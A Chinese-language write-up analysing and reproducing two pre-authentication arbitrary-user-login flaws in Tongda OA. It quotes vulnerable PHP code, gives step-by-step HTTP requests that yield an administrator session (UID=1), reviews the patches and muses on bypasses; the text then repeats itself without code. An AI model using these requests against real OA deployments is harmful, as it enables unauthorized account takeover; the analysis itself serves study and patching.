通达OA前台任意用户登录分析
字数 1029 2025-08-25 22:58:35

通达OA前台任意用户登录漏洞分析与复现

漏洞概述

通达OA系统存在两处前台任意用户登录漏洞,攻击者无需认证即可通过构造特定请求获取任意用户(包括管理员)的会话权限。这两处漏洞分别位于logincheck_code.phplogin_code_check.php文件中。

第一处漏洞分析

漏洞位置

/logincheck_code.php文件存在未授权访问漏洞

漏洞原理

  1. 该文件未进行权限验证
  2. 关键代码段:
$LOGIN_UID = $UID;
$LOGIN_USER_ID = $USER_ID;
...
$_SESSION["LOGIN_UID"] = $LOGIN_UID;
$_SESSION["LOGIN_USER_ID"] = $LOGIN_USER_ID;
  1. $UID$USER_ID直接从$_POST获取,可被任意控制
  2. 唯一限制是缓存中需要存在CODE_LOGIN.$CODEUID

前置条件绕过

  1. 访问/ispirit/login_code.php获取codeuid
$codeuid = $_GET["codeuid"];
$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);
if (empty($login_codeuid)) {
    $login_codeuid = getUniqid();
}
TD::set_cache("CODE_LOGIN_PC" . $login_codeuid, $login_codeuid, 120);

漏洞复现步骤

  1. 首先访问获取codeuid
GET /ispirit/login_code.php?codeuid=test
  1. 然后构造POST请求:
POST /logincheck_code.php
UID=1&CODEUID=_PC[获取的codeuid]
  1. 此时已获取管理员(UID=1)的会话权限

第二处漏洞分析

漏洞位置

/ispirit/login_code_check.php文件

漏洞原理

  1. 关键代码段:
$login_codeuid = TD::get_cache("CODE_LOGIN_PC" . $codeuid);
$code_info = TD::get_cache("CODE_INFO_PC" . $login_codeuid);
if ($code_info["type"] == "confirm") {
    $UID = $code_info["uid"];
    $_SESSION["LOGIN_UID"] = $UID;
}
  1. $codeuid可控,通过CODE_LOGIN_PC获取$login_codeuid
  2. 需要CODE_INFO_PC缓存中存在type=confirm的记录

前置条件设置

  1. 访问/general/login_code_scan.php设置缓存:
POST /general/login_code_scan.php
source=pc&type=confirm&codeuid={获取的codeuid}&uid=1

漏洞复现步骤

  1. 首先访问获取codeuid
GET /ispirit/login_code.php?codeuid=test
  1. 设置CODE_INFO_PC缓存:
POST /general/login_code_scan.php
source=pc&type=confirm&codeuid={获取的codeuid}&uid=1
  1. 触发漏洞:
GET /ispirit/login_code_check.php?codeuid={获取的codeuid}
  1. 此时已获取管理员(UID=1)的会话权限

补丁分析

第一处补丁

logincheck_code.php增加了:

$token = TD::get_cache("OA:authcode:token:" . $UID);
if (empty($token) || $UID == 0) {
    exit();
}

需要OA:authcode:token:$UID缓存存在且$UID不为0

第二处补丁

/general/login_code_scan.php增加了权限验证:

if (!isset($_SESSION["LOGIN_UID"]) || $_SESSION["LOGIN_UID"] == 0) {
    exit();
}

必须在已登录状态下才能设置CODE_INFO_PC缓存

漏洞利用思考

  1. 虽然补丁增加了验证,但如果能找到设置OA:authcode:token:XXX缓存的方法,仍可能绕过第一处补丁
  2. 如果存在先开启session_start()再引入session.php的文件,可能直接覆盖$_SESSION数据

总结

这两处漏洞都源于未验证用户输入直接设置会话变量,配合缓存机制的不当使用,导致未授权用户可获取任意权限。漏洞利用链清晰,复现简单,危害性高。修复方案增加了必要的权限验证,但系统其他类似逻辑仍需全面审查。

通达OA前台任意用户登录漏洞分析与复现 漏洞概述 通达OA系统存在两处前台任意用户登录漏洞,攻击者无需认证即可通过构造特定请求获取任意用户(包括管理员)的会话权限。这两处漏洞分别位于 logincheck_code.php 和 login_code_check.php 文件中。 第一处漏洞分析 漏洞位置 /logincheck_code.php 文件存在未授权访问漏洞 漏洞原理 该文件未进行权限验证 关键代码段: $UID 和 $USER_ID 直接从 $_POST 获取,可被任意控制 唯一限制是缓存中需要存在 CODE_LOGIN.$CODEUID 值 前置条件绕过 访问 /ispirit/login_code.php 获取 codeuid : 漏洞复现步骤 首先访问获取 codeuid : 然后构造POST请求: 此时已获取管理员(UID=1)的会话权限 第二处漏洞分析 漏洞位置 /ispirit/login_code_check.php 文件 漏洞原理 关键代码段: $codeuid 可控,通过 CODE_LOGIN_PC 获取 $login_codeuid 需要 CODE_INFO_PC 缓存中存在 type=confirm 的记录 前置条件设置 访问 /general/login_code_scan.php 设置缓存: 漏洞复现步骤 首先访问获取 codeuid : 设置 CODE_INFO_PC 缓存: 触发漏洞: 此时已获取管理员(UID=1)的会话权限 补丁分析 第一处补丁 logincheck_code.php 增加了: 需要 OA:authcode:token:$UID 缓存存在且 $UID 不为0 第二处补丁 /general/login_code_scan.php 增加了权限验证: 必须在已登录状态下才能设置 CODE_INFO_PC 缓存 漏洞利用思考 虽然补丁增加了验证,但如果能找到设置 OA:authcode:token:XXX 缓存的方法,仍可能绕过第一处补丁 如果存在先开启 session_start() 再引入 session.php 的文件,可能直接覆盖 $_SESSION 数据 总结 这两处漏洞都源于未验证用户输入直接设置会话变量,配合缓存机制的不当使用,导致未授权用户可获取任意权限。漏洞利用链清晰,复现简单,危害性高。修复方案增加了必要的权限验证,但系统其他类似逻辑仍需全面审查。